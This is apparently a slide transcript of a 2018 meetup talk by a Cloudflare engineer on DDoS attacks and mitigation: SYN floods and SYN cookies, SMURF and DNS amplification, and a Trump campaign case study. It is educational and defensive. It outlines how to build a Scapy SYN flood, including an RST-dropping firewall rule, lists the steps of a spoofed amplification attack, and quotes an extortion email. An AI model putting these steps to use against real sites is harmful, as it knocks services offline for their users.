$30 off During Our Annual Pro Sale. View Details »

LDNWebPerf February 2018 - Michael Tremante

LDNWebPerf February 2018 - Michael Tremante

Large Scale DDoS Mitigation
A session presented by Michael Tremante

On Tuesday, 6th February 2018

Skill level: Beginner / Intermediate

Going to walkthrough some real world use cases of large DDoS attacks (including what happened to Donald Trump's website during the US presidential election campaign) and how Cloudflare infrastructure is built to handle the load from a technical perspective.

London Web Performance Group

February 06, 2018
Tweet

More Decks by London Web Performance Group

Other Decks in Technology

Transcript

  1. (D)DoS Attacks
    Michael Tremante
    [email protected]

    View Slide

  2. Agenda
    We talked about DDoS in December. Let’s talk about it again!
    ● Quick networking 101 recap
    ● Coding the basic DoS attack
    ● Examples & pretty charts
    ● Donald Trump
    * disclaimer: I work for Cloudflare

    View Slide

  3. Before we start

    View Slide

  4. Bandwidth Kilo 1000
    Mega 1000 Kilo
    Giga 1000 Mega
    Tera 1000 Giga
    Peta 1000 Tera
    When talking about throughput:
    ● Big B: Byte
    ● Small b: Bit (usually we use this)
    x8 difference
    1 Mbps => 1 Mega bit per second
    1 GBps => 1 Giga byte per second
    * After all lazy loading has taken place
    LDNWebPerf Homepage 157KB
    Google Homepage 963KB
    BBC Homepage* 4.1MB
    DVD Movie 1-2GB
    Blue Ray Movie 4-6GB
    My hard disk 500GB
    Keep these
    examples in mind

    View Slide

  5. Google is your friend

    View Slide

  6. Network Models
    3
    4
    7 We are going
    to talk a little
    about these

    View Slide

  7. To DoS or to DDoS...
    DoS: Denial of Service
    DDoS: Distributed Denial of Service
    Aim - disable your application so that your users cannot access it
    How - your choice
    Why - retaliation, extortion, distraction
    Examples of how: overloading CPU, saturating bandwidth, disabling DNS

    View Slide

  8. Recently we were DDoS-ing Neteller:
    https://twitter.com/neteller/status/583363894665715712
    Yes, our attacks are powerful.
    So, it’s your turn!
    Your site is going under attack unless you pay 40 Bitcoin.
    Pay to 17PxcnK84x98B9TdEbUvuCeivM7yaH1x4Q
    Please note that it will not be easy to mitigate our attack, because our current UDP flood power is
    400-500 Gbps, so don't even bother. At least, don't expect
    cheap services like CloudFlare or Incapsula to help...but you can try. :)
    Right now we are running small demonstrative attack. Don't worry, it will not be that hard (it shouldn't crash your site) and it will stop in 1 hour. It's just
    to prove that we are serious.
    We are aware that you probably don't have 40 BTC at the moment, so we are giving you 24 hours. Current price of 1 BTC is about 230 USD, so we are cheap, at the
    moment. But if you ignore us, price will increase.
    IMPORTANT: You don’t even have to reply. Just pay 40 BTC to 17PxcnK84x98B9TdEbUvuCeivM7yaH1x4Q – we will know it’s you and you will never hear from us again. We
    say it because for big companies it's usually the problem as they don't want that there is proof that they cooperated. If you need to contact us, feel free to
    use some free email service. Or contact us via Bitmessage: BM-NC1jRewNdHxX3jHrufjxDsRWXGdNisY5
    But if you ignore us, and don't pay us within a given time, long term attack will start, price to stop will go to 100 BTC and will keep increasing for every hour
    of attack.
    IMPORTANT: It’s a one-time payment. Pay and you will not hear from us ever again!
    We do bad things, but we keep our word.

    View Slide

  9. How difficult is it?

    View Slide

  10. View Slide

  11. Types of DDoS - Floods
    ● Does not amplify, and is more
    successful with a botnet
    ● Leverages a weakness of a
    protocol/application to
    overload/consume
    resources/queues etc.
    ● Some examples: SYN Flood, Ping
    Flood, UDP Flood and ever more
    recently HTTP Floods
    CC BY 2.0 image by Isaí Moreno

    View Slide

  12. SYN Floods
    ● TCP connections starts with a 3 way
    handshake: SYN, SYN-ACK, ACK
    ● Usually implemented with two
    queues on the server:
    ○ SYN Queue
    ○ Accept Queue
    $ sysctl net.core.somaxconn
    net.core.somaxconn = 128
    $ sysctl net.ipv4.tcp_synack_retries
    net.ipv4.tcp_synack_retries = 5
    A SYN Flood aims to fill up this guy

    View Slide

  13. Let’s try…
    ● Basic Python knowledge
    ● Advanced Google knowledge
    ● SYN Floods are well understood
    ….
    Meet Scapy:
    a powerful interactive packet manipulation program

    View Slide

  14. Scapy SYN Flood
    ● Create IP packet
    ● Create TCP packet
    ● Set SYN flag
    ● Random SRC port
    ● Destination port 80
    ● Send packets!
    Need to add firewall rule to stop the OS sending RST packets in response to SYN ACKS
    firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 -p tcp -m tcp -s 151.236.47.154
    --tcp-flags RST RST -j DROP

    View Slide

  15. Let’s make it happen
    ● Let’s check the size of the SYN queue on the target:
    watch -n 0.2 "ss -n state syn-recv sport = :80 | wc -l"
    ● To monitor network traffic:
    tcpdump -i em1 host 46.101.47.105 and tcp port 80
    ● Let’s fill up the SYN queue…
    ● Test site:
    http://ldnwebperf.codelocket.com

    View Slide

  16. View Slide

  17. View Slide

  18. SYN Cookies
    Let’s enable SYN Cookies in /etc/sysctl.conf
    net.ipv4.tcp_syncookies = 1
    sysctl -p
    sysctl net.ipv4.tcp_syncookies

    View Slide

  19. SYN Cookies
    TCP packets have a 32 bit sequence number
    The server normally chooses a random number
    but with SYN cookies...
    It crafts (with magic) a special sequence number that encodes some of
    the parameters sent in the SYN packet concatenated with a
    cryptographic hash - no need for SYN queue!
    client replies with ACK and sequence + 1
    Server removes 1 from sequence number, validates hash, retrieves
    parameters and initiates socket
    SYN received
    SYN ACK sent
    ACK received

    View Slide

  20. SYN Cookies
    ● Not everything fits in the sequence number
    ○ Some use cases are more affected (e.g. mail relays)
    ● Usually (good to check) enabled by default
    ● Very old concept invented by Daniel J. Bernstein and Eric Schenk in
    September 1996
    ● Had reasonable performance impact since not too long ago (fixed Jan 2016
    with kernel 4.4 release) - kernel now able to handle M of SYN cookies per
    second
    ● Other workarounds exist: SYN_PROXY iptables module

    View Slide

  21. Big SYN floods?
    ● Graph from November 2017
    ● Peaks at 250M packets per second
    ● Cloudflare sets net.core.somaxconn = 16384 and employs SYN
    cookies and a number of other kernel optimizations but this is too much
    ● Cloudflare uses p0f to fingerprint packets, converts the fingerprints to BPF
    format for consumption in our “custom” firewall/iptables (Gatebot)

    View Slide

  22. Big SYN floods
    March 2017, SYN flood (60 GBps = 480 Gbps)
    500GB (e.g. my hard disk) of data ever 8.3 seconds in SYN packets

    View Slide

  23. Types of DDoS - Amplification
    The original amplification attack was known as the SMURF attack
    1. Control a small botnet capable of sending 100Mbps
    2. Send ICMP requests (e.g. ping) to the target network broadcast address (e.g. X.X.X.255)
    3. Spoof your source IP to be the one of your victim
    4. Router does not verify source (due to no handshake in ICMP)
    5. Router forwards request to all devices on the network
    6. All devices reply towards target IP
    7. Amplification factor is given (more or less) by the number of devices
    8. Network goes down!
    SMURF attacks are no longer a thing… easy to filter

    View Slide

  24. DNS Amplification
    DNS Amplification attacks are still common today
    1. Allows you to spoof source IP (over UDP)
    2. Response can be larger than the question
    DNS is a core, ubiquitous Internet platform that meets these
    criteria and therefore has become the largest source of
    amplification attacks

    View Slide

  25. DNS Amplification
    ● Sample query: dig ANY isc.org @x.x.x.x
    ● Sample response:
    https://www.codelocket.com/files/large-dns-response.txt
    ● 64 byte query that resulted in a 3,223 byte response
    ● 50x amplification
    ● DNSSEC makes amplification worse

    View Slide

  26. Scapy DNS Amplification
    1. We need resolvers that reply to ANY queries
    2. We need poorly managed resolvers that don’t do filtering
    3. We need to send packets from a network that does not do src IP filtering

    View Slide

  27. DNS Resolvers

    View Slide

  28. DNS Resolver List
    ● Many public lists: https://public-dns.info/
    ● When I checked nearly 30k servers available over IPv4
    ● However:
    ○ Many servers won’t reply to all DNS query types
    ○ Many servers now have rate limiting and other filtering methods deployed
    ○ The list needs “cleaning”
    ○ E.g. Google 8.8.8.8 does not reply to ANY query for isc.org
    ● Team CYMRU are trying to fix the DNS Resolver problem:
    ○ http://www.team-cymru.org/Open-Resolver-Challenge.html

    View Slide

  29. View Slide

  30. Need to create a botnet...
    ● Hardest bit
    ● Let’s take one example… the WireX botnet
    ● About 70k compromised devices on average

    View Slide

  31. View Slide

  32. View Slide

  33. Donald Trump

    View Slide

  34. US Presidential Election
    ● Protected Trump Organization
    campaign website (donaldjtrump.com)
    ● HTTP flood example
    ● For details please visit:
    https://www.cloudflare.com/case-studi
    es/trump/

    View Slide

  35. Thanks!

    View Slide